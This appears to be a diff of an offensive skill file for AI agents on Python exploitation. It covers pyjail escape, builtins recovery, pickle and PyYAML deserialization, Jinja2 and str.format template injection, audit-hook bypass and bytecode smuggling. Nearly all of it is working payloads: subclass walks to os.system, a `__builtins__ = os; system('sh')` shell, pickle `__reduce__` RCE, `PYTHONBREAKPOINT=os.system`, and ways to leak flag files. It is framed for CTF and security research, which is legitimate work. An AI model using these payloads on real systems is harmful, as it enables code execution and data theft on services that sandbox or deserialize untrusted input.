python-exploitation · diff
git:20260608.3442224 to git:20260608.bf3685c
6 added, 2 removed. Audit A to A.
---
name: python-exploitation
description: >-
Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute
or character/byte blacklists, recovering builtins after __builtins__ is stripped,
exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template
SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting
or abusing CPython bytecode and code objects, exfiltrating with no stdout, or
reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.
---
# Python Exploitation & Sandbox Escape
## Overview
Offensive Python: breaking out of `eval`/`exec` jails, restricted unpicklers, template sandboxes, and audit-hook cages. Core principle — **a sandbox only removes *names*, never *reachability*.** Almost every escape is: find any live object → walk its attribute/frame graph back to a callable or `__globals__` that still holds the real `__builtins__` → import `os`.
The single most common mistake (yours and other models'): **hardcoding subclass indices like `[104]`.** They drift across version and import order. Always filter by `__name__` / predicate.
## When to Use
- An app runs attacker-influenced code through `eval`, `exec`, `compile`, an AST allowlist, `RestrictedPython`, or a custom pyjail
- You face an import / builtins / attribute / dunder / character / byte / length blacklist
- A deserialization sink: `pickle`, `marshal`, `PyYAML`, `multiprocessing`, `numpy.load`, `fickling`
- Template SSTI in Jinja2 / Mako / `str.format`
- An audit hook (PEP 578) or bytecode-opcode verifier guards the runtime
- Reversing or weaponizing `.pyc` / raw bytecode
**Not for:** defensive sandboxing design (the gotchas inform it, but this is the attacker view), or non-CPython unless noted (`id()`-address and subclass tricks fail on PyPy/Jython).
## Routing
| Situation | Starter gadget | Deep dive |
|---|---|---|
| `__builtins__` emptied | `().__reduce_ex__(2).__globals__['__builtins__']` · `print.__self__` · `(x for x in()).gi_frame.f_builtins` | [pyjail-escape](references/pyjail-escape.md) |
| `()` / parens banned | `@exec`/`@input` decorators · hijack `T.__getitem__=exec; T[code]` | [pyjail-escape](references/pyjail-escape.md) |
| dots banned / limited | `__builtins__=os` then bare `system(...)` · `str.format` bare-word subscripts | [pyjail-escape](references/pyjail-escape.md) |
| digits / quotes banned | `True+True`, `-~x` · chars from `().__doc__[i]` · octal `"\157\163"`=`os` | [pyjail-escape](references/pyjail-escape.md) |
| `_`/dunder/keyword filtered | NFKC look-alikes (math-italic U+1D400, fullwidth `_` U+FF3F) | [pyjail-escape](references/pyjail-escape.md) |
| `co_consts`/`co_names` stripped | use injected call args (`res(vars(), vars)`) · `__code__.replace` | [bytecode-and-internals](references/bytecode-and-internals.md) |
| AST allowlist | `types.CodeType` / `__code__.replace` · `__build_class__` last-builtin | [bytecode-and-internals](references/bytecode-and-internals.md) |
| opcode whitelist (3.11+) | specialized opcodes + CACHE padding (`dis._inline_cache_entries`) | [bytecode-and-internals](references/bytecode-and-internals.md) |
| audit hook (PEP 578) | un-audited sink: `sys.modules['x']=obj_with___del__;exit()`, `readline.read_history_file`, `_posixsubprocess.fork_exec` | [bytecode-and-internals](references/bytecode-and-internals.md) |
- | arbitrary r/w needed | `_ctypes.PyObj_FromPtr` fake type · `id()`+ctypes · how2python pure-Python bugs | [bytecode-and-internals](references/bytecode-and-internals.md) |
+ | `__import__` banned, stdlib reachable | `catch_warnings()._module.linecache.os` · `os.environ['BROWSER']=cmd;import antigravity` · `license._Printer__filenames=['flag']` | [pyjail-escape](references/pyjail-escape.md) |
+ | interactive shell reachable | `breakpoint()` / `PYTHONBREAKPOINT=os.system` · `code.interact()` · pdb via `help()`→`sys.modules['pdb']` | [pyjail-escape](references/pyjail-escape.md) |
+ | arbitrary r/w needed | how2python pure-Python bugs (audit-safe) · `_ctypes.PyObj_FromPtr`/`id()`+ctypes (CPython-only, ASLR brute) | [bytecode-and-internals](references/bytecode-and-internals.md) |
+ | predict "random" / hashes | `_Py_HashSecret` in_dll · PYTHONHASHSEED LCG · `random.seed(bytes)` reconstruction | [bytecode-and-internals](references/bytecode-and-internals.md) |
| pickle / restricted unpickler | `__reduce__` → `(os.system,(cmd,))` · no-REDUCE `INST`/`OBJ` · `multiprocessing` indirect sink | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
| Jinja2 / RestrictedPython SSTI | filter-fn `__globals__` · `str.format` `{0.__init__.__globals__}` + `e.obj` leak | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
| no stdout / closed streams | `exit(*open('flag'))` · `compile('.','flag','exec')` stderr · ZeroDivisionError oracle | [pyjail-escape](references/pyjail-escape.md) |
- | reversing `.pyc` | `marshal.loads`, pycdc/decompile3 — and uncompyle6-decompiler RCE | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
+ | reverse a `.pyc` | `marshal.loads`+`dis` · pycdc/decompile3 · uncompyle6-decompiler RCE | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
+ | smuggle a crafted `.pyc`/bytecode | `MAGIC_NUMBER+b'\x00'*12+marshal.dumps(code)` → `import x` | [bytecode-and-internals](references/bytecode-and-internals.md) |
## Universal builtins-recovery ladder (try in order, shortest first)
1. `print.__self__` / `abs.__self__` → the `builtins` module (any un-banned builtin works).
2. `().__reduce_ex__(2).__globals__['__builtins__']` (no subclass scan, no index).
3. `(x for x in ()).gi_frame.f_builtins` — frame attr, survives `del __builtins__`; async: `…cr_frame`/`ag_frame`.
4. caught exception → `e.__traceback__.tb_frame.f_builtins` (or `.f_back.f_globals`).
5. subclass walk **by predicate**: `[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system']`.
6. `__builtins__ = os; system('sh')` when dots/attrs are banned but a module is reachable.
## Top gotchas (the knowledge models get wrong)
- **`str.format` traverses `.attr`/`[key]` with no call**, and a *failed* format leaks the last resolved object as `e.obj` (3.10+). Subscripts in fields are **bare words**: `{0.__globals__[sys]}`, not `['sys']`. Hex-escape `\x2e`/`\x5f` in the field dodges `.`/`_` filters.
- **Identifiers are NFKC-normalized (PEP 3131); raw input is not** → fullwidth/math-italic glyphs beat substring blacklists. **String literals are NOT normalized** — only identifiers.
- **Audit hooks can't be removed, but plenty isn't audited**: `sys.modules` insert (→ `__del__` RCE on exit), `pickle`/`yaml` load, plain file reads, and any module imported *before* the hook was installed.
- **`CodeType` positional arity changes per version** (3.8 `+posonlyargcount`, 3.11 `+qualname`/`+exceptiontable`) — use `__code__.replace()` for portability. 3.11+ raw `co_code` needs inline **CACHE padding** or the VM desyncs.
- **`find_class` is pickle's only real hook**; `REDUCE` has no callable-side filter, and `INST`/`OBJ` opcodes call *without* `REDUCE`. `multiprocessing`/`Queue`/`ProcessPoolExecutor` silently pickle args → indirect RCE.
- **3.13 PEP 667**: `f_locals` is now write-through → frame-walking becomes a reliable **write** primitive into a caller's scope.
- **`breakpoint()`/pdb runs even with empty builtins**; `PYTHONBREAKPOINT=os.system` makes any `breakpoint()` an RCE.
- **No-stdout ≠ no-exfil**: `exit(*open('flag'))`, `compile('.','flag','exec')` (filename echoed in `SyntaxError`), `raise Exception(flag)` to stderr, or a `ZeroDivisionError`/`IndexError` char-oracle.
Each reference file lists exact payloads, version notes, and blacklist-bypass variants.